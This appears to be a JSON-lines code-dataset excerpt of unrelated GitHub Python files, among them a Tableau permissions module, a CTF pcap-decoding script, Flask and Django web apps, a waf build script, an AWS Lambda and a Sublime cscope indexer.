self.t_rest_api.query_project_luid(name_or_luid)\n self._luid = luid\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'ProjectPermissions':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\n # Simpler synonym\n @staticmethod\n def convert_xml_into_permissions_list(xml_obj: ET.Element) -> List['ProjectPermissions']:\n return Project.convert_capabilities_xml_into_obj_list(xml_obj=xml_obj)\n\n # Available for legacy\n @staticmethod\n def convert_capabilities_xml_into_obj_list(xml_obj: ET.Element) -> List['ProjectPermissions']:\n #self.start_log_block()\n obj_list = []\n xml = xml_obj.findall('.//t:granteeCapabilities', TableauRestXml.ns_map)\n if len(xml) == 0:\n #self.end_log_block()\n return []\n else:\n for gcaps in xml:\n for tags in gcaps:\n # Namespace fun\n if tags.tag == '{}group'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = ProjectPermissions('group', luid)\n # self.log_debug('group {}'.format(luid))\n elif tags.tag == '{}user'.format(TableauRestXml.ns_prefix):\n luid = tags.get('id')\n perms_obj = ProjectPermissions('user', luid)\n # self.log_debug('user {}'.format(luid))\n elif tags.tag == '{}capabilities'.format(TableauRestXml.ns_prefix):\n for caps in tags:\n # self.log_debug(caps.get('name') + ' : ' + caps.get('mode'))\n perms_obj.set_capability(caps.get('name'), caps.get('mode'))\n obj_list.append(perms_obj)\n # self.log('Permissions object list has {} items'.format(str(len(obj_list))))\n #self.end_log_block()\n return obj_list\n\n def replicate_permissions(self, orig_content: 'Project'):\n self.start_log_block()\n\n self.clear_all_permissions()\n\n # Self Permissions\n o_perms_obj_list = orig_content.current_perms_obj_list\n n_perms_obj_list = self.convert_permissions_obj_list_from_orig_site_to_current_site(o_perms_obj_list,\n orig_content.t_rest_api)\n self.set_permissions_by_permissions_obj_list(n_perms_obj_list)\n\n # Workbook Defaults\n o_perms_obj_list = orig_content.workbook_defaults.current_perms_obj_list\n n_perms_obj_list = self.workbook_defaults.convert_permissions_obj_list_from_orig_site_to_current_site(\n o_perms_obj_list, orig_content.t_rest_api)\n self.workbook_defaults.set_permissions_by_permissions_obj_list(n_perms_obj_list)\n\n # Datasource Defaults\n o_perms_obj_list = orig_content.datasource_defaults.current_perms_obj_list\n n_perms_obj_list = self.datasource_defaults.convert_permissions_obj_list_from_orig_site_to_current_site(\n o_perms_obj_list, orig_content.t_rest_api)\n self.datasource_defaults.set_permissions_by_permissions_obj_list(n_perms_obj_list)\n\n self.end_log_block()\n\n def replicate_permissions_direct_xml(self, orig_content: 'Project', username_map: Optional[Dict] = None):\n self.start_log_block()\n\n self.clear_all_permissions()\n\n # This is for the project Permissions. Handle defaults down below\n\n perms_tsr = self.t_rest_api.build_request_from_response(orig_content.obj_perms_xml)\n # Remove the project tag from the original response\n perms_tsr = self._fix_permissions_request_for_replication(perms_tsr)\n\n # Now convert over all groups and users\n self.convert_permissions_xml_object_from_orig_site_to_current_site(perms_tsr, orig_content.t_rest_api,\n username_map=username_map)\n self.set_permissions_by_permissions_direct_xml(perms_tsr)\n\n # Workbook Defaults\n perms_tsr = self.t_rest_api.build_request_from_response(orig_content.workbook_defaults.obj_perms_xml)\n # Remove the project tag from the original response\n perms_tsr = self._fix_permissions_request_for_replication(perms_tsr)\n\n # Now convert over all groups and users\n self.convert_permissions_xml_object_from_orig_site_to_current_site(perms_tsr, orig_content.t_rest_api,\n username_map=username_map)\n self.workbook_defaults.set_permissions_by_permissions_direct_xml(perms_tsr)\n\n # Datasource Defaults\n perms_tsr = self.t_rest_api.build_request_from_response(orig_content.datasource_defaults.obj_perms_xml)\n # Remove the project tag from the original response\n perms_tsr = self._fix_permissions_request_for_replication(perms_tsr)\n\n # Now convert over all groups and users\n self.convert_permissions_xml_object_from_orig_site_to_current_site(perms_tsr, orig_content.t_rest_api,\n username_map=username_map)\n self.datasource_defaults.set_permissions_by_permissions_direct_xml(perms_tsr)\n\n self.end_log_block()\n\n @property\n def workbook_defaults(self) -> Workbook:\n return self._workbook_defaults\n\n @property\n def datasource_defaults(self) -> Datasource:\n return self._datasource_defaults\n\n def clear_all_permissions(self, clear_defaults: bool = True):\n self.start_log_block()\n self.get_permissions_from_server()\n self.delete_permissions_by_permissions_obj_list(self.current_perms_obj_list)\n if clear_defaults is True:\n self.workbook_defaults.clear_all_permissions()\n self.datasource_defaults.clear_all_permissions()\n self.end_log_block()\n\n def are_permissions_locked(self) -> bool:\n proj = self.xml_obj\n locked_permissions = proj.get('contentPermissions')\n mapping = {'ManagedByOwner' : False, 'LockedToProject': True}\n return mapping[locked_permissions]\n\n def lock_permissions(self) -> 'Project':\n self.start_log_block()\n if self.permissions_locked is False:\n # This allows type checking without importing the class\n if(type(self.t_rest_api).__name__.find('TableauRestApiConnection') != -1):\n new_proj_obj = self.t_rest_api.update_project(self.luid, locked_permissions=True)\n else:\n new_proj_obj = self.t_rest_api.projects.update_project(self.luid, locked_permissions=True)\n self.end_log_block()\n return new_proj_obj\n else:\n self.end_log_block()\n return self\n\n def unlock_permissions(self) -> 'Project':\n self.start_log_block()\n if self.permissions_locked is True:\n # This allows type checking without importing the class\n if(type(self.t_rest_api).__name__.find('TableauRestApiConnection') != -1):\n new_proj_obj = self.t_rest_api.update_project(self.luid, locked_permissions=False)\n else:\n new_proj_obj = self.t_rest_api.projects.update_project(self.luid, locked_permissions=False)\n self.end_log_block()\n return new_proj_obj\n else:\n self.end_log_block()\n return self\n\n # These are speciality methods just for exporting everything out for audit\n def query_all_permissions(self) -> Dict:\n # Returns all_permissions[luid] = { name: , type: , project_caps, workbook_default_caps: ,\n # datasource_default_caps: }\n\n all_permissions = {}\n for content_type in ['project', 'workbook_default', 'datasource_default']:\n if content_type == 'project':\n perms_obj_list = self.get_permissions_obj_list()\n elif content_type == 'workbook_default':\n perms_obj_list = self.workbook_defaults.get_permissions_obj_list()\n elif content_type == 'datasource_default':\n perms_obj_list = self.datasource_defaults.get_permissions_obj_list()\n else:\n raise InvalidOptionException('content_type must be project, workbook_default or datasource_default')\n\n for perms_obj in perms_obj_list:\n perm_luid = perms_obj.luid\n if all_permissions.get(perm_luid) is None:\n all_permissions[perm_luid] = {\"name\": None, \"type\": None, \"project_caps\": None,\n \"workbook_default_caps\": None, \"datasource_default_caps\": None}\n perms_obj_type = perms_obj.group_or_user\n\n if perms_obj_type == 'user':\n all_permissions[perm_luid][\"type\"] = 'user'\n name = self.t_rest_api.query_username(perm_luid)\n all_permissions[perm_luid][\"name\"] = name\n\n elif perms_obj_type == 'group':\n all_permissions[perm_luid][\"type\"] = 'group'\n name = self.t_rest_api.query_group_name(perm_luid)\n all_permissions[perm_luid][\"name\"] = name\n\n perms = perms_obj.get_capabilities_dict()\n all_permissions[perm_luid][\"{}_caps\".format(content_type)] = perms\n\n return all_permissions\n\n # Exports all of the permissions on a project in the order displayed in Tableau Server\n def convert_all_permissions_to_list(self, all_permissions: Dict):\n final_list = []\n # Project\n\n for cap in Permissions.available_capabilities[self.t_rest_api.api_version]['project']:\n if all_permissions[\"project_caps\"] is None:\n final_list.append(None)\n else:\n final_list.append(all_permissions[\"project_caps\"][cap])\n # Workbook\n for cap in Permissions.available_capabilities[self.t_rest_api.api_version]['workbook']:\n if all_permissions[\"workbook_default_caps\"] is None:\n final_list.append(None)\n else:\n final_list.append(all_permissions[\"workbook_default_caps\"][cap])\n # Datasource\n for cap in Permissions.available_capabilities[self.t_rest_api.api_version]['datasource']:\n if all_permissions[\"datasource_default_caps\"] is None:\n final_list.append(None)\n else:\n final_list.append(all_permissions[\"datasource_default_caps\"][cap])\n return final_list\n\n @property\n def parent_project_luid(self) -> str:\n return self._parent_project_luid\n\n def query_child_projects(self) -> ET.Element:\n self.start_log_block()\n # This allows type checking without importing the class\n if (type(self.t_rest_api).__name__.find('TableauRestApiConnection') != -1):\n projects = self.t_rest_api.query_projects()\n else:\n projects = self.t_rest_api.projects.query_projects()\n\n child_projects = projects.findall('.//t:project[@parentProjectId=\"{}\"]'.format(self.luid), self.t_rest_api.ns_map)\n self.end_log_block()\n return child_projects\n\n\nclass Project33(Project):\n def __init__(self, luid: str, tableau_rest_api_obj: Union['TableauRestApiConnection', 'TableauServerRest'],\n logger_obj: Optional['Logger'] = None, content_xml_obj: Optional[ET.Element] = None,\n parent_project_luid:str = None):\n Project.__init__(self, luid=luid, tableau_rest_api_obj=tableau_rest_api_obj, logger_obj=logger_obj,\n content_xml_obj=content_xml_obj, parent_project_luid=parent_project_luid)\n self.flow_defaults = Flow33(self.luid, self.t_rest_api, default=True, logger_obj=logger_obj)\n\n def lock_permissions(self) -> 'Project33':\n self.start_log_block()\n if self.permissions_locked is False:\n # This allows type checking without importing the class\n if(type(self.t_rest_api).__name__.find('TableauRestApiConnection') != -1):\n new_proj_obj = self.t_rest_api.update_project(self.luid, locked_permissions=True)\n else:\n new_proj_obj = self.t_rest_api.projects.update_project(self.luid, locked_permissions=True)\n self.end_log_block()\n return new_proj_obj\n else:\n self.end_log_block()\n return self\n\n def unlock_permissions(self) -> 'Project33':\n self.start_log_block()\n if self.permissions_locked is True:\n # This allows type checking without importing the class\n if(type(self.t_rest_api).__name__.find('TableauRestApiConnection') != -1):\n new_proj_obj = self.t_rest_api.update_project(self.luid, locked_permissions=False)\n else:\n new_proj_obj = self.t_rest_api.projects.update_project(self.luid, locked_permissions=False)\n self.end_log_block()\n return new_proj_obj\n else:\n self.end_log_block()\n return self\n\n def get_permissions_obj(self, group_name_or_luid: Optional[str] = None, username_or_luid: Optional[str] = None,\n role: Optional[str] = None) -> 'ProjectPermissions':\n return self._get_permissions_object(group_name_or_luid=group_name_or_luid, username_or_luid=username_or_luid,\n role=role)\n\n","repo_name":"bryanthowell-tableau/tableau_tools","sub_path":"tableau_rest_api/published_content.py","file_name":"published_content.py","file_ext":"py","file_size_in_byte":52666,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"29"} +{"seq_id":"34993043263","text":"from scapy.all import rdpcap\nimport re\nimport requests\n\ndef from_bits(bits):\n chars = []\n for b in range(len(bits) // 8):\n byte = bits[b*8:(b+1)*8]\n chars.append(chr(int(''.join([str(bit) for bit in byte]), 2)))\n return ''.join(chars)\n\npcap = rdpcap(\"attack.pcap\")\nbits_array = []\nfor pkt in pcap:\n bits_array.append(1 if pkt.flags.evil else 0)\nprint(from_bits(bits_array))\n","repo_name":"UMD-CSEC/UMDCTF-Public-Challenges","sub_path":"UMDCTF2020/Forensics/NefariousBits/dev/analyze.py","file_name":"analyze.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"29"} +{"seq_id":"71772196877","text":"\"\"\"\nFunctions and classes for drawing the board\n\"\"\"\n\nimport pygame\nfrom pygame.locals import *\nfrom hex import Hex\n\nclass Board(pygame.Surface):\n\n def __init__(self, size, FILL = (250, 250, 250)):\n pygame.Surface.__init__(self, size)\n self.set_colorkey(FILL)\n self.fill(FILL)\n\n self.grid = []\n\n def set_board(self, board):\n self.board = board\n for row in range(0, len(board.grid)):\n for col in range(0, len(board.grid[0])):\n if col == 0:\n self.grid.append([])\n self.grid[row].append(Hex((200, 175)))\n self.grid[row][col].set_hex(self.board.get_hex(row, col))\n\n def draw(self):\n initialx = 100\n initialy = 100\n xinc = 153\n yinc = 175\n for row, hexes in enumerate(self.grid):\n for col, hex in enumerate(hexes):\n hex.draw()\n hex.convert()\n\n rect = hex.get_rect()\n offset = 0\n if not col % 2:\n offset = 88\n\n rect.centerx = initialx + (col * xinc)\n rect.centery = initialy + (row * yinc) + offset\n self.blit(hex, rect)\n\n","repo_name":"rhPieces/ti3","sub_path":"ti3/view/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"70767483278","text":"import os\nimport json\nimport uuid\n\nfrom flask import Flask, request\nfrom flask_cors import CORS\nfrom kafka import KafkaProducer\n\nkafka_topic = os.environ.get('KAFKA_APP_TOPIC', 'mocommender_topic')\nkafka_host = os.environ.get('KAFKA_HOSTNAME', 'localhost')\nkafka_port = os.environ.get('KAFKA_PORT', 9093)\n\nkafka_bootstrap_servers = f'{kafka_host}:{kafka_port}'\n\nproducer = KafkaProducer(bootstrap_servers=kafka_bootstrap_servers,\n value_serializer=lambda v: json.dumps(v,\n indent=4,\n default=str) \\\n .encode('utf-8'))\n\napp = Flask(__name__)\n\nCORS(app)\n\n\n@app.route('/send', methods=['POST'])\ndef index():\n \n body = request.json \n print(kafka_topic, kafka_bootstrap_servers, body)\n key = str(uuid.uuid4())\n producer.send(topic=kafka_topic,\n value=body,\n key=bytes(key, encoding='utf-8'))\n \n return \"SENT\"\n\nif __name__ == '__main__':\n app.run()\n","repo_name":"csgn/mocommender","sub_path":"kafka/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"44823112866","text":"#!/usr/bin/python2\n# -*- coding: utf-8 -*-\n\nfrom flask import *\nfrom werkzeug.contrib.fixers import ProxyFix\nfrom apscheduler.schedulers.background import BackgroundScheduler\n\nfrom geodb import GeoDatabase, EdgeDatabase\nimport conf\n\napp = Flask(__name__)\napp.wsgi_app = ProxyFix(app.wsgi_app)\nconf.configure_app(app)\nif conf.dbtype is 'maxmind':\n db = GeoDatabase()\nelse:\n db = EdgeDatabase()\n\n@app.route('/address/')\ndef location_for_ip(ip):\n if ip.startswith('current'):\n model = db.lookup(request.remote_addr)\n else:\n model = db.lookup(ip)\n if model:\n return jsonify(model)\n else:\n return jsonify({}), 404\n\n\nif __name__ == \"__main__\":\n scheduler = BackgroundScheduler()\n scheduler.start()\n scheduler.add_job(db.upgrade_db, 'interval', hours=conf.hours)\n app.run(host='0.0.0.0', processes=4)\n","repo_name":"mikaelhg/locations3-api","sub_path":"locations3.py","file_name":"locations3.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"12647971683","text":"# from channels.auth import login, logout\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.views.decorators.csrf import csrf_exempt\nfrom student_management_app.EmailBackEnd import EmailBackEnd\nfrom student_management_app.models import Contact\n\n\ndef main_home(request):\n return render(request, 'index.html')\n\n\ndef home(request):\n return render(request, 'index.html')\n\n\ndef password_reset(request):\n return render(request, 'index.html')\n\n\n@csrf_exempt\ndef contact(request):\n if request.method != \"POST\":\n # messages.error(request, \"Method Not Allowed!\")\n return HttpResponse('error')\n else:\n name = request.POST.get('name')\n email = request.POST.get('email')\n message = request.POST.get('message')\n flag = False\n try:\n contact_info = Contact(name=name, email=email, message=message)\n contact_info.save()\n flag = True\n except:\n flag = False\n if flag:\n return HttpResponse(\"ok\")\n else:\n return HttpResponse(\"error\")\n\n\ndef loginPage(request):\n return render(request, 'login.html')\n\n\ndef doLogin(request):\n if request.method != \"POST\":\n return HttpResponse(\"

Method Not Allowed

\")\n else:\n user = EmailBackEnd.authenticate(request, username=request.POST.get('username'),\n password=request.POST.get('password'), user_type=request.POST.get('role'))\n if user != None:\n login(request, user)\n user_type = user.user_type\n # return HttpResponse(\"Email: \"+request.POST.get('email')+ \" Password: \"+request.POST.get('password'))\n if user_type == '1':\n return redirect('admin_home')\n\n elif user_type == '2':\n # return HttpResponse(\"Staff Login\")\n return redirect('staff_home')\n\n elif user_type == '3':\n # return HttpResponse(\"Student Login\")\n return redirect('student_home')\n elif user_type == '4':\n # return HttpResponse(\"Head Login\")\n return redirect('head_home')\n else:\n messages.error(request, \"Invalid Login!\")\n return redirect('login')\n else:\n messages.error(request, \"Invalid Login Credentials!\")\n # return HttpResponseRedirect(\"/\")\n return redirect('login')\n\n\ndef get_user_details(request):\n if request.user != None:\n return HttpResponse(\"User: \" + request.user.email + \" User Type: \" + request.user.user_type)\n else:\n return HttpResponse(\"Please Login First\")\n\n\ndef logout_user(request):\n # logout(request)\n # return HttpResponseRedirect('/')\n return render(request, 'index.html')\n","repo_name":"Abebayehu-Alaro/Facial_Recognition_Based_Attendance_System","sub_path":"student_management_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"74958777678","text":"from django import forms\nfrom django.core.validators import URLValidator\n\nfrom akarpov.tools.shortener.models import Link\n\n\nclass LinkForm(forms.ModelForm):\n source = forms.URLField(\n max_length=500,\n widget=forms.TextInput,\n help_text=\"Please enter the url of the page\",\n validators=[URLValidator],\n )\n\n class Meta:\n model = Link\n fields = [\"source\"]\n","repo_name":"Alexander-D-Karpov/akarpov","sub_path":"akarpov/tools/shortener/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":403,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"21773484801","text":"#! /usr/bin/env python3\n# encoding: utf-8\n\nimport os\nfrom waflib.Build import BuildContext\n\ntop = '.'\nout = 'build'\nAPPNAME = 'matching-engine'\nVERSION = '0.1'\n\n\nclass RunTestCtx(BuildContext):\n cmd = 'run_tests'\n fun = 'run_tests'\n\n\ndef IsClangCompiler(cfg):\n for compiler in cfg.env[\"CXX\"]:\n if compiler.find(\"clang\") != -1:\n return True\n return False\n\n\ndef CheckCompilerVersion(cfg):\n (major, minor, patch) = cfg.env['CC_VERSION']\n version_number = int(major)*100+int(minor)*10+int(patch)\n error_string = \"Sorry but to build this project you need to use clang >= 3.6 or g++ >= 4.9\"\n if IsClangCompiler(cfg):\n if version_number < 360:\n cfg.fatal(error_string)\n else:\n if version_number < 600:\n cfg.fatal(error_string)\n\n\ndef run_tests(ctx):\n ctx.recurse('common matching-engine trading-gateway')\n\n\ndef options(opt):\n opt.load('compiler_cxx')\n opt.add_option('--release', action='store_true', default=False, help='Compile in release mode')\n opt.add_option('--coverage', action='store_true', default=False, help='Activate coverage')\n opt.add_option('--with_unittest', action='store_true', default=False,\n help='Activate unittest building')\n opt.add_option('--with_sanitizer', action='store_true', default=False,\n help='Activate address sanitizer')\n\n\ndef configure(cfg):\n cfg.check_waf_version(mini='2.0.0')\n\n cfg.load('compiler_cxx')\n\n CheckCompilerVersion(cfg)\n\n cfg.check(features='cxx cxxprogram', lib=['pthread'], uselib_store='PTHREAD')\n cfg.check(features='cxx cxxprogram', lib=['m'], uselib_store='M')\n\n cfg.check(features='cxx cxxprogram', lib=['leveldb'], uselib_store='LEVELDB')\n\n cfg.check(features='cxx cxxprogram', lib=['boost_system'], uselib_store='BOOST_SYSTEM')\n cfg.check(features='cxx cxxprogram', lib=['boost_filesystem'], uselib_store='BOOST_FILESYSTEM')\n cfg.check(features='cxx cxxprogram', lib=['boost_date_time'], uselib_store='BOOST_DATE_TIME')\n cfg.check(features='cxx cxxprogram', lib=['boost_serialization'],\n uselib_store='BOOST_SERIALIZATION')\n\n cfg.check(header_name='leveldb/db.h', features='cxx cxxprogram')\n\n cfg.env.with_unittest = cfg.options.with_unittest\n\n cfg.env.append_value('CXXFLAGS', ['-std=c++14', '-W', '-Wall', '-Wno-unused-local-typedefs',\n '-D_GLIBCXX_USE_CXX11_ABI=1'])\n\n if IsClangCompiler(cfg):\n # We need to link again libstdc++ and libm with clang\n cfg.env.append_value('LINKFLAGS', ['-lstdc++', '-lm'])\n\n if cfg.options.with_unittest:\n cfg.check(header_name='gtest/gtest.h', features='cxx cxxprogram')\n cfg.check(features='cxx cxxprogram', lib=['gtest'], uselib_store='GTEST')\n cfg.find_program('valgrind', var='VALGRIND')\n cfg.find_program('gcovr', var='GCOVR')\n\n if cfg.options.with_sanitizer:\n cfg.env.append_value('CXXFLAGS', ['-fsanitize=address'])\n cfg.env.append_value('LINKFLAGS', ['-fsanitize=address'])\n\n if cfg.options.release:\n cfg.env.append_value('CXXFLAGS', ['-ggdb3', '-O3', '-march=native', '-mtune=native',\n '-DNDEBUG'])\n else:\n cfg.env.append_value('CXXFLAGS', ['-ggdb3', '-O0', '-fno-inline',\n '-fno-omit-frame-pointer'])\n\n if cfg.options.coverage:\n cfg.env.append_value('CXXFLAGS', ['--coverage', '-fPIC'])\n cfg.env.append_value('LINKFLAGS', ['--coverage'])\n\n cfg.recurse('common matching-engine trading-gateway tools')\n\n\ndef build(bld):\n bld.recurse('common matching-engine trading-gateway tools')\n","repo_name":"faulaire/matching-engine","sub_path":"wscript","file_name":"wscript","file_ext":"","file_size_in_byte":3670,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"29"} +{"seq_id":"70636398157","text":"class Solution:\n def carPooling(self, trips: List[List[int]], capacity: int) -> bool:\n D={}\n for i in trips:\n D[i[1]]=D.get(i[1],0)+i[0]\n D[i[2]]=D.get(i[2],0)-i[0]\n A=list(D.keys())\n A.sort()\n c=0\n for i in A:\n c+=D[i]\n if c>capacity:\n return False\n return True\n \n ","repo_name":"AbhayBhadauria111/SOLUTIONS-LEETCODE","sub_path":"1094-car-pooling/1094-car-pooling.py","file_name":"1094-car-pooling.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"29"} +{"seq_id":"72460269518","text":"import json\nimport logging\n\nfrom aws_lambda_powertools import Logger\n\nfrom common import (\n PROJECT_NAME,\n ALARM_NAME_PREFIX,\n extract_region,\n get_client,\n put_event\n)\n\nlogger = Logger()\n\ndef delete_alarms_for_campaign(campaign_arn):\n cw = get_client(service_name = 'cloudwatch', region_name = extract_region(campaign_arn))\n\n alarm_names_to_delete = set()\n\n alarms_paginator = cw.get_paginator('describe_alarms')\n for alarms_page in alarms_paginator.paginate(AlarmNamePrefix = ALARM_NAME_PREFIX, AlarmTypes=['MetricAlarm']):\n for alarm in alarms_page['MetricAlarms']:\n for dim in alarm['Dimensions']:\n if dim['Name'] == 'CampaignArn' and dim['Value'] == campaign_arn:\n tags_response = cw.list_tags_for_resource(ResourceARN = alarm['AlarmArn'])\n\n for tag in tags_response['Tags']:\n if tag['Key'] == 'CreatedBy' and tag['Value'] == PROJECT_NAME:\n alarm_names_to_delete.add(alarm['AlarmName'])\n break\n\n if alarm_names_to_delete:\n # FUTURE: max check of 100\n logger.info('Deleting CloudWatch alarms for campaign %s: %s', campaign_arn, alarm_names_to_delete)\n cw.delete_alarms(AlarmNames=list(alarm_names_to_delete))\n alarms_deleted += len(alarm_names_to_delete)\n else:\n logger.info('No CloudWatch alarms to delete for campaign %s', campaign_arn)\n\n@logger.inject_lambda_context(log_event=True)\ndef lambda_handler(event, _):\n ''' Initiates the delete of a Personalize campaign '''\n if event.get('detail'):\n campaign_arn = event['detail']['ARN']\n reason = event['detail'].get('Reason')\n else:\n campaign_arn = event['ARN']\n reason = event.get('Reason')\n\n region = extract_region(campaign_arn)\n if not region:\n raise Exception('Region could not be extracted from campaign_arn')\n\n personalize = get_client(service_name = 'personalize', region_name = region)\n\n response = personalize.delete_campaign(campaignArn = campaign_arn)\n\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug(json.dumps(response, indent = 2, default = str))\n\n if not reason:\n reason = f'Amazon Personalize campaign {campaign_arn} deletion initiated (reason unspecified)'\n\n put_event(\n detail_type = 'PersonalizeCampaignDeleted',\n detail = json.dumps({\n 'ARN': campaign_arn,\n 'Reason': reason\n }),\n resources = [ campaign_arn ]\n )\n\n put_event(\n detail_type = 'BuildPersonalizeMonitorDashboard',\n detail = json.dumps({\n 'ARN': campaign_arn,\n 'Reason': reason\n }),\n resources = [ campaign_arn ]\n )\n\n logger.info({\n 'campaignArn': campaign_arn\n })\n\n delete_alarms_for_campaign(campaign_arn)\n\n return f'Successfully initiated delete of campaign {campaign_arn}'","repo_name":"aws-samples/amazon-personalize-monitor","sub_path":"src/personalize_delete_campaign_function/personalize_delete_campaign.py","file_name":"personalize_delete_campaign.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"29"} +{"seq_id":"73087043597","text":"\nimport os\nimport sys\nimport stat\nimport fnmatch\nimport threading\nimport traceback\nfrom queue import Queue\nfrom threading import Thread, Event\nfrom collections import defaultdict\nfrom functools import wraps, partial, reduce\nfrom itertools import filterfalse, chain\n\nimport sublime\n\n# The primary DB is indexed on the fly by cscope\n# and can therefore only contain a limited amount of files\n# before the indexing time becomes noticable. For projects of\n# size up to TWO_TIER_THRESHOLD we keep all the files in the primary SB\nPRIMARY_DB = 'primary'\n# For projects larger than TWO_TIER_THRESHOLD, we use a two tier solution\n# instead. The primary DB is still indexed on the fly but now only contains\n# files that are open in the editor and have been modified since the last\n# indexing run of the secondary DB. The secondary DB will then contain all\n# the files in the project, but will be indexed less frequently so it will\n# most likely be out of date, for the files being modified. That is ok since\n# the primary DB will hold up to date information for those files.\nSECONDARY_DB = 'secondary'\n\nfrom ..SublimeCscope import DEBUG, PACKAGE_NAME\nfrom . import settings\nfrom . import cscope_runner\n\nDEBUG_DECORATORS = False\nDEBUG_INDEXERCONFIG = False\n\n\nDB_FOLDER_POSTFIX = '-' + PACKAGE_NAME.lower()\n\nTWO_TIER_THRESHOLD = 50\n\n# The global dict of indexers\n# There should be one per project or workspace\n_indexers = {}\n_indexers_by_win = {}\n\n\nclass ActorQuit(Exception):\n pass\n\nclass UnhandledMessageException(Exception):\n pass\n\nclass ActorCommandMsg():\n def __init__(self, action, wait_for_result=False, result_callback=None):\n self._action = action\n self._result = Queue() if wait_for_result else None\n self._result_callback = result_callback\n\n def _set_result(self, result):\n if self._result:\n self._result.put(result)\n elif isinstance(result, Exception):\n raise result\n elif self._result_callback:\n self._result_callback(result)\n\n def result(self):\n if self._result:\n res = self._result.get()\n if isinstance(res, Exception):\n raise res\n return res\n else:\n return None\n\n def run(self):\n try:\n res = self._action()\n except Exception as e:\n res = e\n finally:\n self._set_result(res)\n\n# Decorator that hides the details of sending messages to Actors\ndef send_msg(func):\n @wraps(func)\n def wrapper(self, *args, **kwds):\n result_cb = None\n is_sync = False\n send_always = False\n\n #make sure the Actor is started\n self.start()\n if not self._is_started():\n raise AssertionError(\"Actor %s is not running\" % self.__class__)\n\n is_external = bool(self._thread_id and self._thread_id != threading.get_ident())\n\n #strip away any arguments aimed for the decorator\n if kwds:\n result_cb = kwds.pop('result_callback', None)\n is_sync = kwds.pop('wait_for_result', False)\n send_always = kwds.pop('send_always', False)\n\n #deadly combo, that will cause a deadlock in the actor\n if send_always and is_sync and not is_external:\n raise AssertionError(\"You can't send a message to yourself and wait for the result!\")\n\n if send_always or is_external:\n action = lambda: func(self, *args, **kwds)\n msg = ActorCommandMsg(action, wait_for_result=is_sync, result_callback=result_cb)\n if DEBUG_DECORATORS:\n print(\"Sending %s msg: %s\" % ('sync' if is_sync else 'async', func.__name__))\n self.send(msg)\n return msg.result()\n\n if DEBUG_DECORATORS: print(\"Calling %s directly\" % func.__name__)\n return func(self, *args, **kwds)\n return wrapper\n\nclass ActorBase:\n def __init__(self):\n self._mailbox = Queue()\n self._started = Event()\n self._terminated = Event()\n self._thread_id = 0\n self.recv_count = 0\n\n def send(self, msg):\n self._mailbox.put(msg)\n\n def recv(self):\n msg = self._mailbox.get()\n self.recv_count += 1\n if msg is ActorQuit:\n raise ActorQuit()\n return msg\n\n def _close(self):\n self.send(ActorQuit)\n\n def _join(self):\n self._terminated.wait()\n\n def _bootstrap(self):\n try:\n self._thread_id = threading.get_ident()\n self._started.set()\n self._run()\n except ActorQuit:\n pass\n finally:\n self._thread_id = 0\n self._started.clear()\n self._terminated.set()\n\n\n def _run(self):\n while True:\n msg = self.recv()\n if isinstance(msg, ActorCommandMsg):\n msg.run()\n else:\n self.handle_message(msg)\n\n def _is_started(self):\n return self._started.is_set() and not self._terminated.is_set()\n\n def handle_message(self, msg):\n raise UnhandledMessageException(msg)\n\n def quit(self):\n self._close()\n self._join()\n\n def start(self):\n if self._is_started():\n return\n\n self._terminated.clear()\n t = Thread(target=self._bootstrap)\n t.daemon = True\n t.start()\n\n\nclass Indexer(ActorBase):\n \"\"\" The indexers maintains the cscope indexes\n The Indexer is responsible for maintaining an up-to-date\n cscope index of the project it is associated with.\n \"\"\"\n\n def __init__(self):\n super().__init__()\n self._crawler = Crawler()\n self._crawl_in_progress = False\n self._partial_crawl_queue = []\n self._index_timestamp = None\n self._two_tier_mode = False\n self._file_index = {}\n self._promotion_set = set()\n self._demotion_set = set()\n self._config = None\n self._force_rebuild_db = False\n\n def start(self):\n super().start()\n self._crawler.start()\n\n def quit(self):\n self._crawler.quit()\n super().quit()\n\n def _reset_results(self):\n self._two_tier_mode = False\n self._partial_crawl_queue.clear()\n self._file_index.clear()\n self._promotion_set.clear()\n self._demotion_set.clear()\n\n def _count_files(self, file_index):\n return reduce(lambda tot, i: tot + len(i['files']), file_index.values(), 0)\n\n def _write_file_list(self, files, file_name):\n # Only try to create our own folder\n if not os.path.exists(os.path.dirname(file_name)):\n os.mkdir(os.path.dirname(file_name))\n\n with open(file_name, mode='wt', encoding='utf-8') as file_list:\n flist = ['\"' + f + '\"' if ' ' in f else f for f in files]\n flist.append('\\n')\n file_list.write('\\n'.join(flist))\n\n def _gen_index(self, full_update=True):\n success = False\n\n try:\n primary_list = os.path.join(self._config.db_location, PRIMARY_DB + '.files')\n secondary_list = os.path.join(self._config.db_location, SECONDARY_DB + '.files')\n\n #generate the file list\n files = []\n for v in self._file_index.values():\n if v['files']:\n 